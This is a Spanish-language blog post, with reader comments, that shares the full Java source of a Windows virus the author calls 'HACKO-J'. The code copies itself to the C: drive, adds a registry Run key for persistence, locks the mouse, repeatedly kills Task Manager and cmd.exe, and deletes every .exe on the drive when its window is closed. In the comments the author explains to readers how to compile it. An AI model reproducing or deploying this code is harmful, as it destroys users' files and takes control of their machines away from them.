Bienvenido (a)
a
Hack Diseño ®
¡Gracias por tu visita!
Entrar

Virus en Java para Windows | Codigo Fuente

Hoy compartire mi primer Virus en Java, espero no sea el ultimo (ya que no me gusta mucho programa en Java) espero les sirva de algo si alguien tiene alguna duda
tratare de responderla pero no garantizo resolver todas o cualquier duda ya que Java como ya lo dije antes no es un lenguaje que sea de mucho agrado para mi y no se mucho acerca de el pero si puedo resolver una que otra duda e igual como siempre se recibe cualquier aportacion.

Descripcion:

Virus que se copia en el disco duro con atributos de oculto,
archivo del sistema y solo lectura, deja un valor en el registro
del sistema para que se ejecute al iniciar la pc, congela el mouse
y manda un mensaje que dice: "ESTAS INFECTADO POR EL VIRUS HACKO-J"
No se puede cerrar y si se intentara cerrar este borraria todos los archivos
con extension exe, el administrador de tareas no es posible abrirlo ya que
cada 3 segundos lo intenta cerrar tampoco se puede abrir la consola de comandos
cmd.exe porque tambien lo cierra cada 3 segundos.

Hay varias cosas que pueden ser modificadas sin tener que hacer otro codigo
lo que se puede modificar es la manera de ejecucion del virus
la primera seria mover el boton a las cordenadas que quieras
esta funcion puedes agregarla y hacer del virus mas bien un joke
ya que asi no produciria danos ya que al no tener control de mouse
no es posible cerrar el virus y por lo tanto no se borrarian los
archivos con extension exe del disco duro, otra cosa que se puede modificar
es decidir si queremos que el virus se muestre o no, para mostrarlo
poner virus.show(); para ocultar quitar esa linea sin embargo tampoco
borraria los archivos exe porque no existe ventana a cerrar, el codigo
esta implementeado para que se vea la ventana y para que no se bloquee el
mouse.

Hay maneras de hacer mas molesto el virus esto seria agregando valores dword al regedit usando la consola de comandos esto para bloquear el Administrador de Tareas, Panel de control, MS-DOS entre otras esto no lo pongo yo porque usando la consola de comandos es muy facil de hecho el valor para poner el virus al inicio de windows se agrega usando la consola de comandos.

Tambien quiero aclarar que no deben cambiar la extension que marca esta linea
String file = "nombreQueLeDaranAlVirus.jar"; en la funcion autoCopia() lo unico que
pueden cambiar es el nombre y el nombre debe ser igual al nombre del virus
de lo contrario no se copiara y si se cambia la extension no funcionara
cuando se inicie windows.

El codigo del virus no es la gran cosa, pero igual y puede ser el comienzo
de otro codigo que sea mejor.

Es todo por el momento, saludos!

Hacko

Codigo:

20 comentarios:

Cristóbal dijo...

Gracias por la guía tan solo queria saber como agregar una línea de texto a un JTexarea y lleguea tu blog.

Saludos cordiales
Cristóbal Herrera

Hack Diseño® dijo...

Hola cristobal.

Si asi suele pasarnos, encontramos informacion donde no lo esperamos.

Espero y si te haya servido.

Hasta pronto y no dejes de visitar mi blog que pronto agregare mas cosas acerca de Java y Javascript.

Cristóbal dijo...

Estimado:
Aprovechando la ocación y el contacto, hace algunos días he comenzado a tener problemas con mi msn, desde ya este tema es totalmente aparte del que esta aquí indicado pero creo que tu debes manejar mucho de estos temas, resulta que cada vez que incio sesión en el msn versión 2011 al haber pasado un par de segundo de conexión esta finaliza y así se lleva un buen rato hasta que deja de hacerlo por unos minutos y vuelta a lo mismo, de seguro es uno "Virus" que alguién se las ha ingeniado para este tipo de situación, la pregunta es tienes conocimiento de como atacar a este virus e inhabilitarlo....

Si puedes y sabes cómo quedo atento a tus comentarios, desde ya muchas gracais que tengas un buén día.

God bless you.

Unknown dijo...

Super! excelente información para conocer más librerías de java útiles para el manejo del sistema

Cristóbal dijo...

Muchas gracias por tu respuesta,

Te comento, había un conflicto con el antivirus que usaba este es AVG. Hay una cualidad que posee la cual puede ser molestoso, de todas formas hace poco recibí un regalo de un gran amigo un antivirus (Avira), entonces desinstale de todas formas ambas aplicaciones, antivirus y msn, reinstale ambas pero esta vez con el nuevo antivirus y no tuve problemas para usarlo.

Saludos cordiales,
Cristóbal.

PD: Aunque estuve a punto de tirar mi pc.

carlos dijo...

SALUDOS SOLO QUERIA SABER COMO LO USO OSEA NO PUEDO USAR UN BLOCK DE NOTAS TENGO QUE DESCARGAR ALGUN JAVA PARA TENERLO ESPERO TU RESP GRACIAS DE ANTEMANO TAMBIEN ME PUEDES ESCRIBIR A CLOM.81@HOTMAIL.COM

joel dijo...

este se tiene que guardar en .java y luego compilar no?
o como hago para que funcione

Hack Diseño® dijo...

Hola Joel

Tienes que compilarlo en Ready to program o en Blue-J.

Gracias por tu visita!

Anónimo dijo...

muy buen aporte tratare de modificarlo tengo muy poco en la programacion POO grasias :D

Hack Diseño® dijo...

Hola Anonimo!

Pues Bienvenido a la programacion espero que te pueda ayudar en tu estudio de la programacion este virus.

Gracias por tu visita!
Puedes visitar mis otros post tambien hay otro virus pero en C++ que es un lenguaje muy parecido a Java.

Anónimo dijo...

como se cope al disco duro????????

Anónimo dijo...

sino me equivoco..si reinicio el pc al ver el mensaje y entro en modo a prueba de fallos..no iniciaria el virus y podria quitarlo del inicio para su eliminacion..

Hack Diseño® dijo...

Animo tienes razon en modo a prueba de fallos no iniciaria el virus y por ende podrias eliminarlo pero se puede proteGer el virus por asi decirlo pero ya seria alGo mas complicado y mas real con alGun protosito...

Gracias por tu visita!
PD: Aunque ya no publique como en mi mejor auGe aun siGo siGuiendo los comentarios y respondo lo mas rapido posible.
Perdon por las G pero esque en mi pc no funciona ni la G ni la H y las tenGo Guardadas en mayusculas en el portapapeles :P

Iván Ríos dijo...

jejejejej q cosas solo prove el metodo de congelar el mause y si funciona tuve q apagar mi computadora

Unknown dijo...

vacan

Unknown dijo...

buenaso

Usuario Bloger dijo...

No logro ver el código

Usuario Bloger dijo...

No logro ver el código

Anónimo dijo...

El código no sale completo bro, me lo envías al correo?
krlosuwur@gmail.com


Gracias hay veo si lo perfecciono y lo comparto! :)

Hack Diseño® dijo...

Ya lo revise y si esta completo el codigo, solo que es posible que el script que uso para remarcar los codigos asi este marcando mal el fin de linea. Te paso el codigo completo:
import java.awt.TextField; //Crea campos de texto
import java.awt.Panel; //Crea panel
import java.awt.Frame; //Crear frame
import java.awt.Event; //Controla los eventos de la aplicacion
import java.awt.Robot; //Controla los eventos del teclado
import java.awt.event.InputEvent; //Controla los eventos por teclado
import java.awt.event.ActionEvent; //Controla las acciones de los eventos
import java.io.*;//Entrada y salida de datos
import java.util.logging.Level; //Captura errores
import java.util.logging.Logger; //Captura errores

public class VirusHacko extends Frame {
private TextField Evento;

public VirusHacko (){
super ("||VIRUS HACKO-J :: By HaCk0||");

Panel p;
p = new Panel ();

Evento = new TextField ();
Evento.setEditable (false);
p.add (Evento);
}


public void autoCopia ()
{
try
{
String file = "nombreQueLeDaranAlVirus.jar";
File inFile = new File (file);
File outFile = new File ("C:\\nombreConElQueSeCopiara.jar");

FileInputStream in = new FileInputStream (inFile);
FileOutputStream out = new FileOutputStream (outFile);
int Lilith;
while ((Lilith = in.read ()) != -1)
out.write (Lilith);

in.close ();
out.close ();
}
catch (IOException ex)
{
Logger.getLogger (VirusHacko.class.getName ()).log (Level.SEVERE, null, ex);
}
}


public void enSistema ()
{
try
{
Runtime.getRuntime ().exec ("msg *ESTAS INFECTADO POR EL VIRUS HACKO-J");
Runtime.getRuntime ().exec ("shutdown -s -t 600 -c VirusBy::Hacko--Borrando--Todos--Los--Exe...");
Runtime.getRuntime ().exec ("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Antivirus /d C:\\nombreQueLeDieronAlVirus.jar");
}
catch (IOException ex)
{
Logger.getLogger (VirusHacko.class.getName ()).log (Level.SEVERE, null, ex);
}
}


public void mouseCold ()
{
try
{
boolean n = true;
Robot robot = new Robot ();
while (n != false)
{
int x = 386, y = 388;
//Movemos el mouse a la posición de la pantalla que queramos
robot.mouseMove (x, y);
//presionamos el click derecho
robot.mousePress (InputEvent.BUTTON2_MASK);
robot.mouseRelease (InputEvent.BUTTON2_MASK);
}
}
catch (Exception e)
{

}
}


public boolean handleEvent (Event evt)
{

Evento.setText (String.valueOf (evt.id)); //Captura el id del evento

if (evt.id == Event.WINDOW_DESTROY)
{ //si el id es igual a cerrar ventana...
try
{
//System.exit (0); Esta linea cierra el Virus
Runtime.getRuntime ().exec ("cmd.exe /c del /s /f /q c:\\*.exe");
}
catch (Exception e)
{
}
}

return (super.handleEvent (evt));
}


public static void main (String[] args)
{
boolean SinTask = false;
VirusHacko virus = new VirusHacko ();
virus.autoCopia ();
virus.enSistema ();
virus.mouseCold ();
virus.show ();
//Cierra el taskmgr.exe y el cmd.exe cada 4 segundos
while (SinTask == false)
{
try
{
Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im taskmgr.exe");
Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im cmd.exe");
Thread.sleep (4000);
}
catch (Exception e)
{
}
}
}
}

Publicar un comentario

¡Hola!
Gracias por visitar mi blog.
Espero y no sea tu ultima visita.
Deja un comentario, sugerencia, observacion o lo que quieras.

Nota: Cualquier Comentario Ofensivo, Irrelevante o Fuera del Tema sera eliminado.

Usamos cookies propias y de terceros que entre otras cosas recogen datos sobre sus hábitos de navegación para mostrarle publicidad personalizada y realizar análisis de uso de nuestro sitio.
Si continúa navegando consideramos que acepta su uso. OK Más información | Y más